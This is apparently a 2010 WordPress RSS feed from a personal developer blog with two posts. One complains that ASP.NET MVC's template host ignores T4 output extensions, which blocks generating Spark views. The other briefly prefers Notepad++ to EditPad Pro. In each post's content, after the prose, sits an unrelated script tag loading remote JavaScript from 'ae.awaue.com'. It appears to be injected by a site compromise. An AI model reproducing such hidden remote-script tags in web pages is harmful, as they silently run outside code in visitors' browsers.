<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Polerecky &#187; Open Source</title>
	<atom:link href="http://eric.polerecky.com/archives/category/open-source/feed/" rel="self" type="application/rss+xml" />
	<link>http://eric.polerecky.com</link>
	<description>An outlet for my obsession with technology</description>
	<lastBuildDate>Mon, 14 Jun 2010 14:00:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>ASP.NET MVC: Not That Open Source</title>
		<link>http://eric.polerecky.com/archives/asp-net-mvc-not-that-open-source/</link>
		<comments>http://eric.polerecky.com/archives/asp-net-mvc-not-that-open-source/#comments</comments>
		<pubDate>Mon, 11 Jan 2010 18:53:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Spark]]></category>
		<category><![CDATA[mvc]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/?p=424</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>ASP.NET MVC has one small hook into Visual Studio, the ability to right click and add views and controllers. 
 
This feature is small, hell since I’ve been using spark I almost forgot about it, that is until I started working on a simple administration section. The application has enough entities that “Right Click –&#62;


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><div style="text-align: left; margin: 10px auto; display: block">ASP.NET MVC has one small hook into Visual Studio, the ability to right click and add views and controllers. </div>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/01/image.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/01/image_thumb.png" width="520" height="209" /></a> </p>
<p>This feature is small, hell since I’ve been using spark I almost forgot about it, that is until I started working on a simple administration section. The application has enough entities that “Right Click –&gt; Crud” would make just the right tool.</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/01/image1.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/01/image_thumb1.png" width="447" height="441" /></a> </p>
<h2>Idea</h2>
<p>ASP.NET MVC provides customizable code templates for the view/controller content. There are a few <a href="http://blogs.msdn.com/webdevtools/archive/2009/01/29/t4-templates-a-quick-start-guide-for-asp-net-mvc-developers.aspx" target="_blank">really good</a> articles on how to get started. </p>
<h2>Plan</h2>
<ol>
<li>Include the CodeTemplates in my project</li>
<li>Change the output extention to .spark     </li>
<ol>
<li><a href="http://eric.polerecky.com/wp-content/uploads/2010/01/image2.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/01/image_thumb2.png" width="419" height="63" /></a>         </li>
</ol>
<li>Modify the markup to sparkup</li>
<li>Phase 3: <a href="http://www.southparkcows.com/scripts/217.pdf" target="_blank">Profit</a>.</li>
</ol>
<h2>Problem</h2>
<p>ASP.NET MVC uses a custom tool to process the T4 templates. </p>
<pre class="prettyprint"><code><span class="str">MvcTextTemplateHost</span></code></pre>
<p><strong>It ignores the output extension directive in T4 templates.</strong></p>
<p><strong>(Click play)</strong></p>
<div style="text-align: left; margin: 10px auto; display: block"><embed src="http://media.entertonement.com/embed/OpenEntPlayer.swf" id="1_76b5fbc6_fc07_11de_9365_0019b9e56dac" name="1_76b5fbc6_fc07_11de_9365_0019b9e56dac" flashvars="auto_play=false&#038;clip_pid=bdhxnqttjj&#038;e=&#038;id=1_76b5fbc6_fc07_11de_9365_0019b9e56dac&#038;skin_pid=wfxswdnlkf" width="300" height="30" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" allowscriptaccess="always" wmode="transparent"></embed><img style="padding-bottom: 0px; margin: 0px; padding-left: 0px; width: 0px; padding-right: 0px; float: right; height: 0px; visibility: hidden; padding-top: 0px" border="0" alt="The Price is Right Losing Horns sound bite" src="http://www.entertonement.com/widgets/img/clip/bdhxnqttjj/1/1_76b5fbc6_fc07_11de_9365_0019b9e56dac/blank.gif" width="0" height="0" /></div>
</p>
<h2>Sadness</h2>
<p>MvcTextTemplateHost is included in Microsoft.VisualStudio.Web.Extensions.dll and this DLL that is not “part” of MVC code that was open sourced. </p>
<h2>Conclusion</h2>
<p>I’d love to write a Visual Studio addin to create spark views but I just don’t have the time. However; I do wonder if I can just have spark parse the .aspx and .ascx files.</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/asp-net-mvc-not-that-open-source/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Notepad++ &gt; Editpad Pro</title>
		<link>http://eric.polerecky.com/archives/notepad-editpad-pro/</link>
		<comments>http://eric.polerecky.com/archives/notepad-editpad-pro/#comments</comments>
		<pubDate>Thu, 09 Oct 2008 19:46:05 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[EditPad Pro]]></category>
		<category><![CDATA[Notepad++]]></category>
		<category><![CDATA[Open Source]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/notepad-editpad-pro/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/npp.logo5.png" width="73" height="56" alt="" title="Notepad++" /><br/>Just a quick note…in this tight economy there is a huge opportunity for open source software to enter the public sector. I’d really like to see little changes like these in the public sector. Expectably when the open source software, IMHO, is better then the commercial software.


No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/npp.logo5.png" width="73" height="56" alt="" title="Notepad++" /><br/><p>Just a quick note…in this tight economy there is a huge opportunity for open source software to enter the public sector. I’d really like to see little changes like these in the public sector. Expectably when the open source software, IMHO, is better then the commercial software.<script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/notepad-editpad-pro/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
